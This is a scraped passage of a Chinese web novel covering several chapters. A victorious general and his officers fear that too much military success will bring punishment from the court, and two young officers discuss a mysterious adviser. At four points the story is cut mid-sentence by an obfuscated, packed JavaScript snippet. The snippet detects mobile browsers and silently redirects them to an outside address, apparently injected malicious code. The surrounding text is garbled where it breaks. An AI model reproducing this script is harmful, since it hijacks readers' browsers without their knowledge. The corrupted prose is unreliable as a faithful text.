幕僚乙咬牙道:“丙兄和丁兄说得都对。他那营中的兵将确实忠心,我们百般打探消息也无甚所得。但他们穷也是真穷,底下的军士一个个的,给什么都要。可不论是收了几升米粮的还是拿了我们上百两银子的,一概东西照收,营中之事什么都不说!直如无赖一般!” 这事儿盛国公也是知道的,也生过气,不过:“算了,他们日子苦,就当行善了。”盛品科抖了抖袖子,总结道:“说来说去,此次能否得胜还是在于主将。那众位以为,雍长龄还能赢吗?”盛品科看向幕僚丙,于是众人俱未出言,等幕僚丙先说。 幕僚丙拱手道:“国公容禀,属下以为这些年来众人之所以将当年雍大将军七战连捷的功绩归于雍平康娘子,并因此称她为‘天赐军师’,就是因为凭雍大将军自己的本事做不到七战连捷。否则,一个养在深闺的小娘子如何能传出此等名声?” 幕僚乙也拱手道:“丙兄言之有理。但那雍大将军爱女成痴,雍娘子的名声极有可能就是他心痛难当传扬出来的,一但有了这样的好名声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099122|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雍娘子即便离世也会被世人记住,那便可以在口口相传之中永生了。” 众人初时觉得他说的太过异想天开,但听到后面竟然觉得颇有道理。毕竟以雍长龄的年岁,若丧女之后即刻再娶说不定现在孩子都生了满院了,可他便便就这样府中空空地过了这么多年,说一句“成痴”不为过。于是纷纷点头。 但盛国公听到这里不满道:“尔等觉得,雍长龄无七战七捷之能,他女儿也不似传言那般神通,那他当年是怎么赢的?还连赢七战?” 幕僚甲连忙站起来躬身拱手道:“国公莫急。依属下之见当年他之所以能七战连捷一来是因为当年之战发生在冬季,我军装备充足而面对的敌军却缺少足够的寒衣。其二,当年的草原因入冬的一场大雪冻死了大批牛羊,才匆匆越过边境劫掠,在雍长龄对敌之前,边军已经阻击的他们许久,敌军疲敝不似我军气势正盛,故而能胜。” 幕僚丙接过话来补充道:“其三,草原茫茫对敌易寻人难,听说那雍长龄初入草原因为突然刮起的大风迷了路,大军为避风雪背离了原定的路线,后来竟在一座雪峰之下找到了敌军的粮仓,这才赢得了最终的胜利。”幕僚丙捋着自己稀疏却留了有一掌长的胡须说:“所谓时也命也,时来天地皆同力,运去英雄不自由啊。”他正色对盛国公说:“上一次是他运气好,可这运气能好一次,还能好两次吗?” 幕僚乙赞同道:“丙兄所言甚是。七战七捷这种事,天时地利人和缺一不可,他当年能,难道现在还能吗?” 雍大将军能,他用事实告诉了所有人,如果觉得他是靠实力取胜的,那么他如今的实力更胜当年;如果觉得他是靠运气取胜的,那么时至今日,好运依然眷顾着他。 那夜之后雍长龄很快带兵启程,奔赴被袭扰的边境。润和大营的官兵来到战场犹如猛虎归山,一路势如破竹连下七城,捷报一封一封发往帝都。他最后破的一座城,甚至是由当年独步草原的泼岩麻部双翼狮王亲手建造于岩陀岭的、传说中固若金汤的王城。 11. 第 11 章 润和大营来到草原后连战连捷,按照雍大将军的战略部署打下了泼麻岩一族部署在腹地之外的一溜五座城池,草原王者花费多年建立起来的终极防御链宣告完全破灭。剩下的就是泼麻岩部的终极荣耀岩陀岭王城与守卫王城的前营了。 接连的战斗与胜利虽然令人亢奋但同样也令人疲惫,大军宣布休整,并以驻地为中心向外五里展开了全部防御机制。这是进入草原之后的第一次真正意义上的休整。在过去五场接连的战斗中将士们要么在冲杀拼命,要么在打扫战场处理伤病甚至送别战友,要么就是在风沙中马不停蹄地赶路,停下来的时候或者埋锅造饭或者轮换入眠,总也都是在为下一场残酷的战争做各种准备,根本称不上休整。 也确实该停一停了,他们已经五战五捷了。 不同于下面人的欢欣,此时在中军帐仪式的各位将军、僚属们跟上座的雍大将军一样,并没有什么喜悦的心思。 当然,总军需官胡山海除外。泼岩麻一族毕竟是多年的草原霸主,这战后的缴获还是十分丰富的。不过他身为润和大营的总军需官,每日应付营中的各种支出,花钱的地方没有上百处也差不多,难得有钱物进帐也没什么可高兴的,尤其是现下这种场合,各营的将军们都在,他怕自己只要稍稍展眉,这些看似憨厚实则奸滑的武人就能看出端倪在一瞬间想出百十种理由找他要这要那。不可能,润和大营没钱,胡山海把昨夜清点战利品的神清气爽硬压回内心深处,憋了憋自己的讨债苦瓜脸,听大家讨论下一步的安排。 早在准备进攻第五座城的时候雍大将军便大感不妙,他看着自己亲手部署的进攻路线难得地在地图前愣怔了片刻。他想:我没打算赢成这样的啊。 不过有一点还是很领雍大将军欣慰的,那就是白阳来。他在战斗中成长的很快,褪去了迟疑和被动之后白阳来开始愿意展现自己的才华和能力了。过去在燕府、在雍大将军的军营里他总是下意识地想将自己隐藏起来,因为他不喜欢陌生人看见他的脸之后那种惊叹之下隐藏着欲望和贪婪的目光。而在过去的许多年中,燕墨闻与雍长龄也默许他的躲藏,因为他们都很清楚,比人优秀有时候是就一种原罪,犹如稚子抱金于市,太危险。在没有足够的自保之力以前,韬光养晦是最好的做法。 不过话说回来,韬光养晦也不是想做就能做到的,也需要天时地利与人和,若是像现在的雍大将军这样,一入草原就一路连胜,那就连韬光养晦都做不到了。 正在经历蜕变的白阳来比原先积极了许多,看到雍大将军站在地图前许久不语便上前宽慰道:“启禀大将军,末将以为身为大睿朝的将士受命征讨不论如何都是要赢的。败军之将安敢有言?赢才是我们的底气。” 雍大将军自然也知道这个道理,作战计划是他定的,也是众人都同意和支持的。自古,文无第一武无第二,他们这些人习武练兵上战场想的就是赢。他从一开始进行整体战略部署的时候起,就没有想过除了赢之外的结果,哪怕自己和这个大营都已经不需要更多的军功了。 于私,他已官至正三品,大睿朝的规矩正三品以上均为虚职,他现在的品级和官职已经是实权武官的定点了。当然,皇恩浩荡也可以恩及家人,但是……雍大将军妻女早逝,而且也都已经受过封了。他的妻子是三品诰命,女儿更被越级封为平康郡主,她在草原的埋骨之地也被圣人划为了郡主的封地。这就是说,连雍长龄的家人都已经封无可封了。 那么赏赐润和大营呢?首先要赏赐下属将军那就没有越过主将的道理;其次,润和大营上下不论将士还有其他人员,比如百工等人,均不在少数。加官进爵?朝中文官不舍得,赏钱?所谓不患寡而患不均,营中人多,不论怎么赏都是一笔不菲之资,而这样庞大的一笔开支,无论是国库还是内库都是不可能愿意出的。 这样一来情况就会变成令人闻之胆寒的“赏无可赏”,赏无可赏会有什么下场?前车之鉴可有的是,能在雍长龄的中军帐拥有一席之地的人,没有哪一个不知道。 雍大将军不是恋栈权位之人,比起位高权重他更在意安稳长久。或者说若不是为了护住手下这一营的将士,他早就陪妻女去了,富贵荣华不过过眼云烟,雍长龄早就看透了。 白阳来在战前的安慰让雍大将军暂时放下了思绪顺利完破了敌军的全部防御工事,但没有解决的问题并不会凭空消失,现在仗打完了,他们还是要为此头痛。 雍大将军一边在心中自我反省:就不该打,就该早早收兵,唉,部署的时候我怎么就没忍住!一边询问众将:“依众位看,如今我待如何?”这个“我”自然指的是全营。 副将徐常青作为跟随雍大将军最久的老将当先出言,不过听得出他也有些彷徨。徐常青道:“启禀大将军,目前我方陈兵于此,距岩陀岭王城不过数百里。”他顿了一下,显然是十分犹豫:“进……退,皆有余地。” 说了等于没说,雍大将军面无表情地看了他一眼,徐常青微低着头避过了雍长龄的目光,如同完成了某个任务一般,站回原位不再出声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099123|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老将程荥在他身后出列说:“启禀大将军,末将以为都已经打到这儿了,怎么也该去岩陀岭探探路才是。一来我军在草原上的地图不全,去一趟将地图绘全也是有益后人之事;二来泼岩麻部自从第二任双翼狮王去世之后,新王年幼,一应大事均决于豹王和鹰王,这两人手中掌握着泼岩麻大批精兵,听说除了王城的护卫之外两人还各有私兵和营地。他们分别屯兵于王城和前营,我军若是止步于此必留后患呐。”程荥说:“倒不如过去给他们个狠的,让他们知道厉害从此惧而远之,方是治本之道。” 老将元淮在他身边提醒道:“咱们已经五战五捷了,若是打下前营和王城那可就是七战七捷。又一个七战七捷,再加上一座声名远扬的王城,我怕朝廷那边受不住啊。到时候那些文官若是拿大将军或是拿营中将士开刀,那咱们怎么办?” 程荥说:“是啊,所以我们要把握好这个度嘛。要打,但不能打得太狠。就算不小心把前营打下来了,那王城也得尽量给他们留着。” 元淮问:“那他们要是再扰边呢?” 徐常青说:“那就把精兵都给他打掉,留下些奴隶养养牛就行了,看他们拿什么扰边。” 元淮嗤笑道:“你以为这是切菜做饭呢,这边留下那边切掉,炒熟就行不要炖老?” 雍长龄看了看这帮说了半天没有提出有效办法,反而有意无意和稀泥的老将,将目光转向另一边,问站在老将们对面的年轻将领们:“你们呢?” 萧懋已过而立,在年轻将军中算是资历最老的,是以站在这边第一个,他冲雍大将军抱拳道:“启禀大将军,末将以为……” 帐中很安静,大家都在聆听,因此萧懋言语中的僵硬和迟疑显得格外明显,他说:“三位老将军说得对。” 徐常青/程荥/元淮:废话。我们说的就基本都是废话,你这句,更废。 雍长龄看着左右两列人气得想笑:“有话就说,一帮五大三粗的将军,装什么!” 萧懋立刻上前一步,抱拳道:“启禀大将军,末将以为守土卫国战则必胜,才不违心。”他利落地说完又忍不住加了一句:“但如今我军情况特殊,若是再胜……末将觉得留下前营和王城不攻也行。” 雍长龄终于笑了,他站起身道:“你们没想好,我也没想好。行了,都先回去休整吧,明日再议。”他说完便转过屏风进了大帐后方的垂幕,那便是雍大将军行军在外时私下起居之所。 众人目送他入内,等到帷幕放下才各自散去。 12. 第 12 章 为了相互照应,润和大营除大将军之外其他将军均是两人以上同住一顶军帐,白阳来作为前锋营的主管将军与燕昭鹏燕长史同宿一帐。 燕昭鹏没有参加今日议事,白阳来回来的时候以为他会在帐中休息,没想到他反倒是跟在自己后面进来的。 白阳来凤眼一扫没见到人,耳朵听见帐帘掀起的风声回头,正看见燕昭鹏跨步走来。燕家的亲兵跟白阳来行礼后在燕昭鹏身后放下了帐帘,燕昭鹏看见白阳来竟然比他回来的还早有些意外:“不是去议事了吗?怎么这么快就回来了?” 白阳来转过身答:“嗯,没说什么,大将军让我们好好休息,明日再议。” 燕昭鹏感觉他情绪有些低落,把手中的东西放下问:“怎么了?有什么不高兴的?” 白阳来有点儿累,摇了摇头看燕昭鹏放在案上的东西。 燕家的亲卫端来热水,燕昭鹏去擦了脸净了手,然后换了一身舒适的软缎常服过来拉白阳来坐在案边,说:“看什么?拿着玩嘛。” 白阳来看他身上说:“你方才穿的是出门的衣服?” 燕昭鹏在营中走动时多穿常服,虽然也是衣料精贵绣工细致的但并不像方才所穿的那样华丽外显,配饰整齐。这种打扮意味着他要见外客。能让燕昭鹏以客礼相待的人,这营中有谁? 燕昭鹏问他:“你知道大将军有位幕僚叫黄居养吗?” 白阳来想了想说:“知道啊,听说他是专门给大将军做药膳的。”白阳来说完就意识到了问题,厚实有力的掌心一拍大腿:“我从未见大将军吃过药膳。” 燕昭鹏就是从小被精心补养长大的,白阳来与他同进同出这么多年,对药食同源多少懂几分,燕昭鹏的身体说好听些就是矜贵,说得难听了就是磨人。只要悉心调养,他是能如常人一般行止坐卧的,但若是稍稍不注意,也可能立刻倒下,爆发出各种难受症状,仿佛下一刻就要英年早逝。 白阳来凤眼一眯寒光迸出:“他不是厨子?难道此人有问题?” 燕昭鹏拿起桌案之上他刚刚放下的东西递到白阳来手边说:“他确实有点儿问题,不过你放心,他对大将军和大营应该没问题。” 白阳来接过那个锦盒打开,里面是一个散发着清香、精致剔透的木雕笔筒,若将笔筒拿在手上细看,便能很容易地看出其上所雕乃是“八仙过海”,八位神仙衣袂飘飘,眉目慈善,栩栩如生,尤其是八仙身边的松柏与脚下的祥云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099124|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海浪,那云像是会流动,那海浪看久了仿佛耳边能听见波涛的声音。雕刻得是层次分明,凝实不失畅逸,技法之圆融高妙可谓尽汇于此。白阳来修长的手指一翻,看到了底下的落款,果然名家之作。 “这,是那黄居养送你的?”从燕昭鹏刚才的话想来,只有这个可能了。 燕昭鹏点点头,神神秘秘地对白阳来说:“你再好好看看。”他用一副“此物内有玄机”的表情期待地看着白阳来。 白阳来疑惑地看了看他,将手中的笔筒举在眼前细看,但是除了图样布局讲究、雕工属实高超之外:“没看出什么啊。”他忍不住微微皱起了眉:“这个笔筒……” 燕昭鹏笑了,他果然还是发现了。 白阳来说:“是沉香木的。” 燕昭鹏的喜悦被打断,他哽了一下说:“对,确实是沉香木不错,但我让你看的不是这个!还有呢?” 白阳来偷笑了下,点了点铁拐李的大葫芦,手下劲力一错说:“还有这个。” 笔筒竟被打开,露出来一个小暗阁。 燕昭鹏这才满意地笑了。 午时,两人在帐中吃自己的饭,确切地说是燕家跟来伺候郎君的厨下所做的饭菜。 13. 第 13 章 燕昭鹏在润和大营挂职实际上走的是时下贵族子弟常用的例子,靠家中关系寻个像润和大营这样人多不显眼的地方,任个闲职混年月攒些个资历,等时间差不多了或者是家中运作的差不多了再换个地方,调任升职什么的那就全凭私下里的本事和个人的运气了。这类人是不领饷的,不占用公中的任何钱物方面的资源,通常来说还会给供职之地奉上不少银子,所以在外人看来雍大将军破了多年旧例准许燕昭鹏入营的原因多半就是:润和大营缺钱了。 而燕昭鹏这个帝都百年世家两代单传的郎君母家又是富商巨贾,入营的时候也确实不负众望地带了许多下人和数不清的用物。直到很久之后帝都百姓还是会津津道期那天的盛况,并且喜欢把燕郎君随营的东西与帝都贵女的嫁妆作对比,若是嫁妆比燕郎君离开帝都那两天抬去城外大营中的东西少,那新娘的娘家就不是真富贵。那段时日有不少嫁女儿的夫人都气得在家绞帕子、摔东西:燕家的富贵那是是人就能比的吗?人家不过是不张扬,不过是这两代人少老的脾气不好少的身体不好才没有任职于高位罢了,外头嚼舌根的人懂什么?帝都高门大户可多,真正的百家世家如今可只有燕家一门了。像这样屹立多年不倒的门户,就如那根基深广的大树一般,即使看着不起眼,可你知道他的根有多深、都扎在了哪里?动不动就跟燕溟比这比那,除了不懂事的小郎君谁会跟他比?他母家早多少年就得了茶丝免税的恩典,那银子赚的,海了去了,跟他比?不知所谓! 能说出这些话的夫人娘子都是知道几分燕家底蕴之人,燕昭鹏入润和大营也确实是上下都打点过了的,他以燕府的名义按品级给润和大营的将军都送了礼物,给营中的每一个军士发了五两银子。于是润和大营中人但凡看见这位身上穿的料子总跟别人不同的郎君,谁都愿意奉上一个发自内心的笑脸称一声“军师”,毕竟他是真给钱呐,还一出手就是五两呀! 真给银子的燕郎君在营中的日子过的着实不错,行军虽然疲累但对他来说真没什么,他的车架宽敞舒适还镶着琉璃窗,风吹不着太阳却能放心晒,离开帝都后感觉心都松了许多,心情一放松精神就好,精神一好胃口也好了一些,竟比在帝都时看着好了不少,脸上都长肉了。从信中得知此事的燕墨闻万分高兴,当即就派人给雍大将军送去了十万担上好的粮草以示感谢。这日午饭时分雍大将军收到了运粮队伍已进入草原的消息,便命人将徐副将叫来安排接应事宜。 刚刚饭罢的徐副将一听说有这么多粮草已经运过来了,实在是喜出望外,随即又忍不住咬牙切齿道:“燕墨闻这么好的家世自己又有那样的才学武功落得有今日真是不亏,就他这个做派,一挥手十万担精粮,我要是那位我刀子磨得比他还利!” 雍大将军得了这么多粮草可谓后顾之忧尽解,自然也是十分高兴,他在帐中来回踱着步,走了两趟才接着嘱咐道:“这批粮草是用世家们运送私物专用的路子送的,他们运送东西惯来保密,你去接收的时候也要注意言语之间周全些,不要多说,不该知道的不要多看多听,否则泄了密他们杀起人来也不眨眼。” 徐副将保证道:“是,大将军。大将军放心,我有数。燕军师带进营的那两队亲卫日常练功的时候我们也见了,确实武功高强。我年轻时或许还能比一比,如今是不行了。” 雍长龄点了点头:“营中年轻的将领功夫能练成那样的也不多。不过上阵打仗其他人也够了。”燕昭鹏带来的人都事先去雍府给雍长龄请过安,那两队亲卫的功夫他也见识过,燕昭鹏是燕家的两代单传,怎么护着都不为过,他有了这些亲卫,润和大营征战时也不必为他的安全分心太多了,对大家都好。 徐副将领命出营时,燕昭鹏午饭还未吃完,也不知道父亲给营中送粮草的事,他还在跟白阳来说黄居养。被合上暗格放在桌上的笔筒是黄居养送给燕昭鹏的见面礼,他在营中溜达的时候碰见了自称是个厨子的黄居养,两人寒暄时黄居养觉得与他投契,便下了帖子请他今日到帐中喝茶。是以燕昭鹏是按着帝都时的习惯穿了见客的衣裳,带着礼物去的。两人谈天说地很是愉快,告别之时黄居养便送了他这个东西。 白阳来示意他别光顾着说话,趁热吃饭,并问:“你怀疑他是什么身份?” 燕昭鹏听话喝汤,汤放久了有些凉,他喝了一口就吐出来了。燕昭鹏不能喝凉的,不然会很麻烦,遂把汤推给白阳来说:“我起初以为他跟我一样是个来挂闲职的纨绔,但他说自己是个厨子,哼,骗谁呢!就他那双手我一看就知道不但这辈子都没入过庖厨而且还是专门保养过的。就是帝都曾经流行一时的那种保养法子,虽然费时费事又费银钱,但是真有用,你还记得吗?” 白阳来正好喝完了那碗汤,闻言很嫌弃地抬起眼皮送了他凉凉的一眼,这显然是记得的。白阳来本来就长得好看的一双手,用那个法子保养过之后就如打磨好的羊脂白玉一般令人着迷,放在阳光下看简直又能放光又能生烟,真的是好美!燕昭鹏现在想想都开心地呲牙。 白阳来凤眼一横,射出嫌弃的眼神! 燕昭鹏咳咳咳,立马正色道:“我的意思是说,我们谈天之时因为我特意看了看他的手所以发现他腕上带了一个镯子,那镯子也是个木的,只从衣袖间露出来了一点儿我没看清,但我觉得……”他夹起白阳来夹过来的菜吃掉接着说:“我觉得那应该是个沉香木嵌金珠的手镯。我本来不敢肯定,但是这个笔筒也是沉香木的。” 白阳来明白他的意思:“你是想说像这样出手就是一件沉香笔筒的人愿意贴身戴着的手镯必定更加贵重,贵重到不是有了富贵就能戴得的,贵重到你可以凭着它,猜出它主人的身份?” 燕昭鹏往前凑了凑,白阳来索性搬起自己的交椅做到了燕昭鹏身边方便他凑到自己耳边说话。燕昭鹏非常满意地扒着白阳来的肩膀悄声说:“先帝朝时,慧贵妃过三十五岁寿辰的时候先皇曾经赐过她一对伽南香木嵌金珠寿字手镯,当时先皇还说这样的好东西只有慧贵妃配戴,暗示下头不许效仿这镯子的形制。”当时还被爷爷抱在怀里的燕昭鹏闻到了迦南香令人忘俗的悠远香气只觉身心舒畅,因此印象极深。 白阳来看着他亮亮的眼神低声说:“今上还是皇子时与慧贵妃关系疏远,昔日养在慧贵妃膝下的先皇后之子文王被阖家抄灭,贵妃亲子在澄州封地连国丧都不被允许返回帝都。”白阳来清凌凌的凤眼看着燕昭鹏:“所以,如果你没看错,那这位黄居养郎君,你觉得是什么身份?” 燕昭鹏很诚恳地说:“我不敢想。我就是发现了跟你说说,你心里有个底就行了。”还特意嘱咐道:“不要乱猜知道吗?” 白阳来乖巧点头,给他盛了一碗热汤过来,燕昭鹏拿起勺子说:“林子够大才能什么鸟都有,我为何要来这儿啊,除了因为这里有你,还因为这里人多,我好藏啊。我想他也是一样,图这里人多,好藏身。”白阳来陪着他拖拖拉拉吃到现在,实在是已经吃饱,现下陪坐一旁给燕昭鹏布菜,说:“那他又为何一见你就送这样的礼物?” 燕昭鹏很自然地说:“那他但凡知道我的身份也不可能送别的啊,不是这个也是个差不多的,不然何必送呢。再者,我观他帐中的摆设和用物,这人哪怕藏了身份日子过得也挺舒坦。” 说到这儿,他突然扔下勺子,两手扒住白阳来的袖子说:“不对,如果他真的是那什么的身份,那大将军将他收留在营中岂不是很危险?” 白阳来点点头,但仍旧很从容地说:“你觉得这满大营的人除了你谁能看出他的身份?你说的那个手镯我见过,确实有金珠镶嵌的‘寿’字,那又如何?我看了之后并未多想,只觉得他是个富贵又讲究的郎君。再说,就算你一眼就猜出了他的身份,你敢肯定吗?不,你甚至都不敢说透。” 燕昭鹏点了点头,确实是这样。但是,“雍大将军为何会将这样的人放在营中还带着他出征呢?” 白阳来思索着,缓缓说:“我想,大将军自然有他的理由。” 燕昭鹏白他一眼:“这是当然,我是说,是什么理由呢?雍大将军最在乎的不就是他一手建起的这个军营了吗?” “是啊。”白阳来说:“所以他才要把身份特殊之人时时刻刻带在营中才能放心啊。我想,对雍大将军来说他的将旗之下就是最让他放心的地方了吧。” 燕昭鹏十分信服地点了点头:“不错,润和大营的公正与干净咱们家大人也是多有嘉许的。” 白阳来也点头:“不然大人也不会将你我都安排到这里。” 燕昭鹏虽然没吃多少但也不想吃了,命人前来收拾,他跟白阳来移步到了榻上坐着,有一搭没一搭地说这话。 燕昭鹏今日精神尚可,一点一点捻着一块山药糕说:“今早家里人来报我说他们在草原中的一个城里开了新铺子,以后再有周转就更方便了。” 白阳来靠在榻上闭目养神,慢悠悠说:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099125|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一向我也没觉得有什么不方便啊。左右不过是东西送得慢一些,毕竟我们是骑马他们是用车运。” 燕昭鹏说:“我去其他军帐里玩儿发现他们都是用箱子做桌案,地上铺上席子直接坐,也挺有趣的。” 白阳来说:“征战在外家具带多了麻烦,大将军那儿也是用箱子做桌案的。” 燕昭鹏有点儿不安:“那我这,岂不是有点儿奢侈?” 白阳来满脸无所谓说:“我记得那位黄居养郎君好像有个挺大的铜熏炉,不是也一直带着?” 燕昭鹏也学着他靠着说:“有时候我都觉得挺神奇的,这么远的地方家里也什么都能送来。” 白阳来勾唇一笑:“要么怎么说世家的经营让人捉摸不透呢。” 燕昭鹏闭上眼眼睛说:“这就对了,要是有一日被人琢磨透了,那岂不是就该动手了。” 白阳来睁开眼睛淡淡地叹了一口气:“今日议事便是卡在这里,我军数战连胜接下来的前营和王城如果都打下来了的话,那这功绩就太大了。兔死狗烹,鸟尽弓藏的前车之鉴不用提古人,我朝就有得是,大家都免不了担心并且因此而踌躇。” 燕昭鹏闭着眼睛挑了挑眉:“踌躇?那就还是想打呗?” 白阳来颔首道:“那当然,相比于已经打下了的这五座城,豹王和鹰王直系的兵马才是泼岩麻部最强的。现在没有了这些挡在前头的小部落若是他二人再来犯边,那可就不会是小打小闹了。” 不过,若是又来个七战七捷也确实很麻烦,燕昭鹏深有感触地说:“还是再想想吧,韬光养晦可不容易,咱们家就是最好的例子,如今这样已经算得上是我与咱家大人最好的结果了。”至少人都在,家业也在。 白阳来也是明白的,所谓韬光养晦可不是凡事低调与世无争这么简单,要让圣人不疑愚人不欺,分寸之间实难把握。他坐起身来面对着半躺在软靠中的燕昭鹏说:“到底如何才能在打赢泼岩麻部之后让朝廷不忌惮呢?” 燕昭鹏睁开眼睛侧头看他:“如果真的拿下了岩陀领王城,那可是无法遮掩过去的功绩,我觉得不被急单几乎是不可能的。”所谓过犹不及,领命出征之将,仗打输了你得以死谢罪,若是打赢了但赢得太多让上面赏无可赏,那一死报君恩也是非常可以的。 燕昭鹏幽幽地说:“前车之鉴啊,那谁我就不说了,就说那谁谁,他先是被升了二品的辅国大将军,这么高的官位自然就不必再直接统兵了,帝都御赐了个大宅子专供他修养;后来,他一手带出来兵马经过了数次拆分,死的死,活着的都被编入了其他营中。当年一起出生入死的人各自天涯,当年的名号和建制也就没了。二品又如何,深夜死在府中,怎么死的都不清不楚。 燕昭鹏叹了口气坐起身来说:“这事儿知道的人不少,但是因为诸多忌讳,也不方便直说。当然,这位二品大将军自身也有点儿问题,死因众说纷纭,还沾着些神神鬼鬼的事儿,就连提都不太好提。” 白阳来恍然:“怪不得,今日议事之时,大家总说些废话。” 燕昭鹏“嗤”地笑了,指着山药糕说:“唉,你替我尝尝,今日这个糕甜吗?” 盘子里的山药糕少了一块,是之前被燕昭鹏把玩去了的,白阳来看了看说:“今日不想吃山药糕,你就当它甜吧。” 燕昭鹏不乐意了:“嘿,你不想吃也不让我吃是吧?” 白阳来晃脑袋:“那你吃啊。” 燕昭鹏抚了抚自己的肚子说:“不行,它要万一不好吃我怕我会吐。”好不容易停了药可千万别再勾出什么不好来。 两人互相瞪着,不再开口。 沉默了一会儿燕昭鹏突然说:“你发现了吗?” 白阳来问:“什么?” 燕昭鹏说:“泼岩麻王城,据说是草原近百年来最坚固的城,但是大家似乎都没有想过我们会打不下来,而是直接在考虑赢完了之后怎么办。” 白阳来一想,确实如此,大家话里话外的意思都是默认我军定会连战连捷,从未想过会打不下来。他说:“或许是因为大家都不怕苦战惨烈却受不了自己人捅刀子吧。” 他的话让燕昭鹏一下子想到了兵部堵在燕府门前捉拿他时的情景,顿时从心底翻腾出一种气闷和屈辱,他不自觉地拉长了脸:“确实。”死在战场上的是英雄,死在自己人手里,要么不明不白,要么身负罪名,燕昭鹏闭了闭眼,不能想,想想都觉得憋屈。 14. 第 14 章 润和大营的作风和习惯都很好,大军休整期间没有守卫任务的都会早早睡觉。燕昭鹏为了入乡随俗连关大夫开的安神汤都好好地喝了,没有再偷偷倒掉,想来这也是他身体渐好的原因之一。 亲卫进来叫醒白阳来的时候燕昭鹏已经迷迷糊糊要睡着了,白阳来与燕家的亲卫队长燕庭阔不敢出声,慢慢挪出军帐又往外走了几大步才敢说话。燕庭阔道:“大将军让将军过去一趟。” 徐副将是午饭之后带人去接收粮草的,雍大将军刚刚收到的是燕家运粮队传来的消息,上面说发现有人跟踪窥视,希望大将军能加派人手押运粮草以求稳妥。 雍长龄对赶来的白阳来说:“燕家常用的运输路线没有草原这一段,所以不能保证安全。他们以前运来的东西虽然贵重但是量少又不抵吃穿,故而没被注意。这次不一样,燕墨闻将军支援我军狼草十万担,草原上谁见了不想抢一点儿。也怪我没有设想周全,如今的草原不比我们战前运粮的时候,这几次仗打下来,散布各处上散兵游勇都是威胁,若他们聚集起来一同出击,徐副将带的兵不够多,难免顾此失彼。你带上你的先锋营速去,这批粮草决不能出事。” 白阳来领命后立刻回营点兵,此时的燕昭鹏已经睡熟,大家整装牵马的声音都没有吵醒他。这就是燕昭鹏不喜欢安神汤的原因,喝完之后睡得像死了一样,但是药效过后还会醒来,有种任人摆布的感觉。 白阳来带着先锋营一路风驰电掣先是遇上了徐副将,两人兵合一处后换马疾行,终于在一天两夜之后接到了燕家运粮的队伍。 燕家运粮队的队正名叫燕邦乘,徐副将与白阳来到的时候他正在大车后的避风处包扎手臂上的伤口。徐副将和白阳来被人带过来的时候他咬着牙行礼道:“两位将军,你们来的太及时了!” 徐副将问:“你这伤是?” 燕邦乘说:“方才有人想要夺粮,被我们打退了。他们有人持刀近攻,有人在远处放箭,我一时不妨被划伤了,没有大碍。” 白阳来细观那支沾了血的箭矢说:“这是自己削的,看来应是流寇。”又看下人呈上来的刀“前不久溃败的散兵游勇也有。” 徐副将对燕邦乘说:“你先休息,我带人去点收粮草。”燕邦乘于是指派了专门跟来的账房上人为徐常青做引导。 白阳来安排完警戒之后,看燕邦乘脸色不好,遂问:“你的伤,当真不要紧吗?” 燕邦乘说:“就是划了一下,伤口不深,伤在小臂上也不太影响行动,放心吧。”他若不是方才力战数人如今有些脱力不会不陪徐常青去清点粮草的。燕邦乘早听说主家郎君身边有个白玉雕成的伴读,此时看着眼前的真人,觉得传言所说的美好非但不过分而且只及他本人的三四分而已,月光将白阳来全身笼罩在清辉之下,美的圣洁又炽烈。 徐副将用最快的速度清点完了全部粮草,燕邦乘受伤疲累已经睡了一觉,白阳来守在他身边给他盖上了属下拿来的厚披风。徐常青小声对白阳来说:“有人在队尾窥视,我已经让他们加强了戒备。” 白阳来刚才安排警戒的时候绕着运粮队走过一圈,心里对周围的情况已有大致了解,遂提议说:“要不索性诱敌,在这里打一场再走?” 徐副将觉得行,他们的兵马与运粮队两方初聚,正是气势旺盛的时候。 两人装作接到粮草彻底放了心的样子,吩咐手下将粮车摆放好,架起一个个火堆准备烤肉干吃宵夜。白阳来拿出一个罐子,罐口一拔香飘十里,徐副将眼睛都瞪大了:“香料?”< 